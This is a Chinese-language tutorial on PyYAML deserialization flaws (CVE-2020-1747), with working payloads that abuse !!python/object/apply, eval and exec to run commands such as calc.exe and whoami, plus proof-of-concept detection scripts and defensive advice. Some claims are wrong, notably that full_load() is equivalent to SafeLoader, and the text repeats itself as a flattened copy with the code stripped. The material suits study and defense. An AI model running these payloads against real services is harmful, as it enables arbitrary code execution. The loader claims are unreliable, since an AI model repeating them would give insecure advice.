PyYaml反序列化漏洞详解
字数 1163 2025-08-18 11:35:59

PyYAML反序列化漏洞深度解析与防御指南

一、YAML基础概述

1.1 YAML简介

YAML("YAML Ain't Markup Language")是一种轻量级的数据序列化语言,设计目标是成为人类可读的数据交换格式。其特点包括:

  • 文件扩展名通常为.yml
  • 使用缩进表示层级关系(仅允许空格)
  • 支持多种数据类型:标量、序列、映射
  • 支持注释(#开头)和引用

1.2 YAML基本语法

# 示例文档
person:
  name: John
  age: 30
  address:
    street: Main St.
    city: Anytown
  hobbies:
    - reading
    - hiking

1.3 YAML高级特性

  • 多文档支持:使用---分隔多个文档,...表示结束
  • 数据类型
    • 标量:字符串、数字、布尔值
    • 序列(列表):使用-表示
    • 映射(键值对):使用:分隔
  • 类型转换:使用!!强制转换类型,如!!int "123"
  • 引用机制:使用&定义锚点,*引用锚点

二、PyYAML序列化与反序列化

2.1 序列化方法

import yaml

data = {'key': 'value'}
yaml_data = yaml.dump(data)  # Python对象 → YAML字符串

2.2 反序列化方法

PyYAML<=5.1版本:

data = yaml.load(yaml_data)  # 默认使用不安全的Constructor加载器
data = yaml.load(yaml_data, Loader=yaml.Loader)

PyYAML>5.1版本:

# 安全加载器
data = yaml.load(yaml_data, Loader=yaml.SafeLoader)
data = yaml.full_load(yaml_data)  # 等同于使用SafeLoader

# 不安全加载器
data = yaml.unsafe_load(yaml_data)  # 可能执行任意代码

三、漏洞成因分析

3.1 漏洞根源

PyYAML<=5.1版本中,Constructor.pymake_python_instance()函数存在安全隐患:

def make_python_instance(self, suffix, node, args=None, kwds=None, newobj=False):
    cls = self.find_python_name(suffix, node.start_mark)
    if newobj and isinstance(cls, type):
        return cls.__new__(cls, *args, **kwds)  # 危险点:动态创建对象
    else:
        return cls(*args, **kwds)  # 危险点:直接调用构造函数

3.2 危险标签

以下YAML标签可导致代码执行:

  • !!python/object
  • !!python/object/new
  • !!python/object/apply
  • !!python/module
  • !!python/name

四、漏洞利用技术

4.1 基础利用方式

# 执行系统命令
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]

# 利用subprocess模块
!!python/object/apply:subprocess.Popen ["calc.exe"]

4.2 高级利用技术

# 利用builtins模块
!!python/object/new:bytes
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__('os').system('calc.exe')"]

# 利用类型转换漏洞
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('whoami')"

4.3 特殊场景利用

结合文件上传

!!python/module:uploads.eval  # 加载上传的恶意模块

绕过认证检查

key: !!python/name:__main__.KEY  # 直接引用程序中的变量

五、不同版本差异与防御

5.1 PyYAML<=5.1

  • 默认使用不安全的Constructor加载器
  • 所有反序列化方法均存在风险

5.2 PyYAML>5.1

  • 新增安全加载器:
    • SafeLoader:限制可加载的对象类型
    • FullLoader:允许加载任意对象但更安全
    • UnsafeLoader:等同于旧版的Loader
  • 默认行为变更:
    • load()必须显式指定Loader参数
    • 新增full_load()unsafe_load()方法

5.3 防御措施

  1. 升级PyYAML:使用最新版本(>=5.4.1)
  2. 使用安全加载器
    yaml.safe_load(yaml_data)
    
  3. 输入过滤:禁止加载用户提供的YAML中的危险标签
  4. 替代方案:考虑使用ruamel.yaml等更安全的库

六、漏洞检测与验证

6.1 测试Payload

import yaml

# 基本测试
poc = '!!python/object/apply:os.system ["calc.exe"]'
try:
    yaml.load(poc)
except:
    pass

# 高版本绕过测试
poc = '''
!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - ["print('Vulnerable')"]
'''
yaml.load(poc, Loader=yaml.UnsafeLoader)

6.2 自动化检测

def check_pyyaml_vuln():
    try:
        import yaml
        from yaml import Loader
        poc = '!!python/object/apply:os.system ["echo 1"]'
        yaml.load(poc, Loader=Loader)
        return "Vulnerable"
    except:
        return "Patched"

七、相关资源

  1. 官方修复提交:PR #386
  2. 安全公告:CVE-2020-1747
  3. 替代方案:ruamel.yaml

注:本文档仅供安全研究和防御参考,请勿用于非法用途。在实际生产环境中使用PyYAML时,务必采取适当的安全措施。

PyYAML反序列化漏洞深度解析与防御指南 一、YAML基础概述 1.1 YAML简介 YAML("YAML Ain't Markup Language")是一种轻量级的数据序列化语言,设计目标是成为人类可读的数据交换格式。其特点包括: 文件扩展名通常为 .yml 使用缩进表示层级关系(仅允许空格) 支持多种数据类型:标量、序列、映射 支持注释( # 开头)和引用 1.2 YAML基本语法 1.3 YAML高级特性 多文档支持 :使用 --- 分隔多个文档, ... 表示结束 数据类型 : 标量:字符串、数字、布尔值 序列(列表):使用 - 表示 映射(键值对):使用 : 分隔 类型转换 :使用 !! 强制转换类型,如 !!int "123" 引用机制 :使用 & 定义锚点, * 引用锚点 二、PyYAML序列化与反序列化 2.1 序列化方法 2.2 反序列化方法 PyYAML <=5.1版本: PyYAML>5.1版本: 三、漏洞成因分析 3.1 漏洞根源 PyYAML<=5.1版本中, Constructor.py 的 make_python_instance() 函数存在安全隐患: 3.2 危险标签 以下YAML标签可导致代码执行: !!python/object !!python/object/new !!python/object/apply !!python/module !!python/name 四、漏洞利用技术 4.1 基础利用方式 4.2 高级利用技术 4.3 特殊场景利用 结合文件上传 : 绕过认证检查 : 五、不同版本差异与防御 5.1 PyYAML <=5.1 默认使用不安全的 Constructor 加载器 所有反序列化方法均存在风险 5.2 PyYAML>5.1 新增安全加载器: SafeLoader :限制可加载的对象类型 FullLoader :允许加载任意对象但更安全 UnsafeLoader :等同于旧版的 Loader 默认行为变更: load() 必须显式指定 Loader 参数 新增 full_load() 和 unsafe_load() 方法 5.3 防御措施 升级PyYAML :使用最新版本(>=5.4.1) 使用安全加载器 : 输入过滤 :禁止加载用户提供的YAML中的危险标签 替代方案 :考虑使用 ruamel.yaml 等更安全的库 六、漏洞检测与验证 6.1 测试Payload 6.2 自动化检测 七、相关资源 官方修复提交: PR #386 安全公告: CVE-2020-1747 替代方案: ruamel.yaml 注:本文档仅供安全研究和防御参考,请勿用于非法用途。在实际生产环境中使用PyYAML时,务必采取适当的安全措施。